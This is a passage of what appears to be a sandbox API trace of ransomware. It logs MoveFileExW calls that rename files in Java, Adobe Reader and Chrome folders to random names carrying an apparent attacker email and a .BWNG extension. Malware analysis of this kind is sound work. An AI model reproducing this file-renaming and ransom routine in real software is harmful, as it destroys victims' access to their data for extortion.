(in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25070934979) returned 1 [0108.758] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management-agent.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].gMmsuFra-ezKDle58.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].gmmsufra-ezkdle58.bwng"), dwFlags=0x1) returned 1 [0108.759] GetTickCount () returned 0x1162dc5 [0108.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25071082819) returned 1 [0108.759] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\search.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].nEber2gl-DKzdryAy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].neber2gl-dkzdryay.bwng"), dwFlags=0x1) returned 1 [0108.760] GetTickCount () returned 0x1162dc5 [0108.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25071240650) returned 1 [0108.760] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\blacklist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\blacklist"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\[billwong73@yahoo.com].ElgjRwHM-lBUM7V7A.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\[billwong73@yahoo.com].elgjrwhm-lbum7v7a.bwng"), dwFlags=0x1) returned 1 [0108.762] GetTickCount () returned 0x1162dc5 [0108.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25071394660) returned 1 [0108.762] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\abidjan"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].R9cl7xz4-aAyjPHzN.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].r9cl7xz4-aayjphzn.bwng"), dwFlags=0x1) returned 1 [0108.763] GetTickCount () returned 0x1162dd5 [0108.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25071635145) returned 1 [0108.764] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\myriadcad.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\[billwong73@yahoo.com].Qiy97m5A-Dwl94hKY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\[billwong73@yahoo.com].qiy97m5a-dwl94hky.bwng"), dwFlags=0x1) returned 1 [0108.766] GetTickCount () returned 0x1162dd5 [0108.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25071803657) returned 1 [0108.766] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\bl.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].4nPQ3oD5-j1cF0jkv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].4npq3od5-j1cf0jkv.bwng"), dwFlags=0x1) returned 1 [0108.767] GetTickCount () returned 0x1162dd5 [0108.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25071970139) returned 1 [0108.768] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].oDqpTVTl-DWNwo3M0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].odqptvtl-dwnwo3m0.bwng"), dwFlags=0x1) returned 1 [0108.769] GetTickCount () returned 0x1162dd5 [0108.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25072096041) returned 1 [0108.769] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ml.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].4ZkapMuT-loWHmcdb.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].4zkapmut-lowhmcdb.bwng"), dwFlags=0x1) returned 1 [0108.770] GetTickCount () returned 0x1162dd5 [0108.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25072232611) returned 1 [0108.770] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Brazzaville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\brazzaville"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].oUhoDg2X-jEcoqPjT.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].ouhodg2x-jecoqpjt.bwng"), dwFlags=0x1) returned 1 [0108.771] GetTickCount () returned 0x1162dd5 [0108.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25072362365) returned 1 [0108.772] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\El_Aaiun" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\el_aaiun"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].ty9GV4hj-FZZ0GLni.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].ty9gv4hj-fzz0glni.bwng"), dwFlags=0x1) returned 1 [0108.773] GetTickCount () returned 0x1162dd5 [0108.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25072501129) returned 1 [0108.773] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lagos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lagos"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].P15sPEIc-y10n0ecr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].p15speic-y10n0ecr.bwng"), dwFlags=0x1) returned 1 [0108.774] GetTickCount () returned 0x1162dd5 [0108.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25072774919) returned 1 [0108.776] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].BVUTdAJ8-NxJ5tehN.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].bvutdaj8-nxj5tehn.bwng"), dwFlags=0x1) returned 1 [0108.777] GetTickCount () returned 0x1162dd5 [0108.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25072911453) returned 1 [0108.777] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].uimhRFaM-R2XAihSg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].uimhrfam-r2xaihsg.bwng"), dwFlags=0x1) returned 1 [0108.778] GetTickCount () returned 0x1162dd5 [0108.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25073033585) returned 1 [0108.778] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mogadishu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\mogadishu"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].W4WgSWic-Y17zxhzz.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].w4wgswic-y17zxhzz.bwng"), dwFlags=0x1) returned 1 [0109.007] GetTickCount () returned 0x1162ebf [0109.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25095955350) returned 1 [0109.008] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sk.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].W9e59B2R-3YhWb8VC.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].w9e59b2r-3yhwb8vc.bwng"), dwFlags=0x1) returned 1 [0109.009] GetTickCount () returned 0x1162ebf [0109.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25096114338) returned 1 [0109.009] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tunis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\tunis"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].UbmY63Iz-ufNyifG3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].ubmy63iz-ufnyifg3.bwng"), dwFlags=0x1) returned 1 [0109.010] GetTickCount () returned 0x1162ebf [0109.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25096253279) returned 1 [0109.011] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Jujuy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\jujuy"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].8woe4YeR-Tf1CgejV.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].8woe4yer-tf1cgejv.bwng"), dwFlags=0x1) returned 1 [0109.012] GetTickCount () returned 0x1162ebf [0109.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25096430534) returned 1 [0109.012] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\vi.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].cVIaR68D-5UwPpB1S.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].cviar68d-5uwppb1s.bwng"), dwFlags=0x1) returned 1 [0109.056] GetTickCount () returned 0x1162eed [0109.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25100802367) returned 1 [0109.056] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\[billwong73@yahoo.com].uK7G2v6X-5kQs9ndU.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\[billwong73@yahoo.com].uk7g2v6x-5kqs9ndu.bwng"), dwFlags=0x1) returned 1 [0109.058] GetTickCount () returned 0x1162eed [0109.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25101022008) returned 1 [0109.058] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\java-rmi.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\java-rmi.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].F5UmQH3d-vM1w6gUS.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].f5umqh3d-vm1w6gus.bwng"), dwFlags=0x1) returned 1 [0109.059] GetTickCount () returned 0x1162eed [0109.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25101161131) returned 1 [0109.060] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\[billwong73@yahoo.com].2wQYRWTn-fY3u0Kk3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\[billwong73@yahoo.com].2wqyrwtn-fy3u0kk3.bwng"), dwFlags=0x1) returned 1 [0109.061] GetTickCount () returned 0x1162efd [0109.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25101326723) returned 1 [0109.061] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\[billwong73@yahoo.com].n2oqZov2-qx4OHm24.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\[billwong73@yahoo.com].n2oqzov2-qx4ohm24.bwng"), dwFlags=0x1) returned 1 [0109.062] GetTickCount () returned 0x1162efd [0109.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25101472733) returned 1 [0109.063] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].yNRF7bFT-2uCmECq1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].ynrf7bft-2ucmecq1.bwng"), dwFlags=0x1) returned 1 [0109.453] GetTickCount () returned 0x1163083 [0109.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25140487784) returned 1 [0109.453] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\brdlang32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\[billwong73@yahoo.com].FEePMUAv-ZBuL9Fwo.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\[billwong73@yahoo.com].feepmuav-zbul9fwo.bwng"), dwFlags=0x1) returned 1 [0109.523] GetTickCount () returned 0x11630c1 [0109.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25147559108) returned 1 [0109.524] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-BoldOblique.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-boldoblique.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].h26oWtfJ-rSg2lxov.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].h26owtfj-rsg2lxov.bwng"), dwFlags=0x1) returned 1 [0109.525] GetTickCount () returned 0x11630c1 [0109.525] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25147754796) returned 1 [0109.526] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].g6oRfCry-aS5V7ahD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].g6orfcry-as5v7ahd.bwng"), dwFlags=0x1) returned 1 [0109.527] GetTickCount () returned 0x11630c1 [0109.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25147939291) returned 1 [0109.527] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].h7O1TzJ9-YGuSG9Dp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].h7o1tzj9-ygusg9dp.bwng"), dwFlags=0x1) returned 1 [0109.530] GetTickCount () returned 0x11630d1 [0109.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25148216306) returned 1 [0109.530] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].0HGVsaid-n0nY0GO3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].0hgvsaid-n0ny0go3.bwng"), dwFlags=0x1) returned 1 [0109.531] GetTickCount () returned 0x11630d1 [0109.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25148375279) returned 1 [0109.532] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].gVPSZOzN-Zthwozdm.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].gvpszozn-zthwozdm.bwng"), dwFlags=0x1) returned 1 [0109.533] GetTickCount () returned 0x11630d1 [0109.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25148539872) returned 1 [0109.533] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ppklite.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\[billwong73@yahoo.com].vDqsDmzW-0vCb92Kh.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\[billwong73@yahoo.com].vdqsdmzw-0vcb92kh.bwng"), dwFlags=0x1) returned 1 [0109.535] GetTickCount () returned 0x11630d1 [0109.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25148682996) returned 1 [0109.535] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\updater.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\[billwong73@yahoo.com].gsNxHkf3-1LiErBJZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\[billwong73@yahoo.com].gsnxhkf3-1lierbjz.bwng"), dwFlags=0x1) returned 1 [0109.765] GetTickCount () returned 0x11631bb [0109.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25171739658) returned 1 [0109.766] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ebook.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\[billwong73@yahoo.com].4ImrWy3P-xF83xVRD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\[billwong73@yahoo.com].4imrwy3p-xf83xvrd.bwng"), dwFlags=0x1) returned 1 [0109.767] GetTickCount () returned 0x11631bb [0109.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25171933778) returned 1 [0109.767] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].xdu1Fyct-UH6BBSxT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].xdu1fyct-uh6bbsxt.bwng"), dwFlags=0x1) returned 1 [0109.769] GetTickCount () returned 0x11631bb [0109.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25172081339) returned 1 [0109.769] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SaveAsRTF.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\saveasrtf.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\[billwong73@yahoo.com].JaikvhXv-OXTAbv5s.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\[billwong73@yahoo.com].jaikvhxv-oxtabv5s.bwng"), dwFlags=0x1) returned 1 [0109.770] GetTickCount () returned 0x11631bb [0109.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25172221151) returned 1 [0109.770] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].0eDy7pE9-1qp0Oojz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].0edy7pe9-1qp0oojz.bwng"), dwFlags=0x1) returned 1 [0109.771] GetTickCount () returned 0x11631bb [0109.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25172367945) returned 1 [0109.772] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\[billwong73@yahoo.com].lPYlATYk-bppEXuQ4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\[billwong73@yahoo.com].lpylatyk-bppexuq4.bwng"), dwFlags=0x1) returned 1 [0109.773] GetTickCount () returned 0x11631bb [0109.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25172569191) returned 1 [0109.774] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].e7518zC3-iZ6As3xy.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].e7518zc3-iz6as3xy.bwng"), dwFlags=0x1) returned 1 [0109.775] GetTickCount () returned 0x11631bb [0109.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25172709977) returned 1 [0109.775] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\multimedia.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\[billwong73@yahoo.com].WvfC43b5-zxQYXqe3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 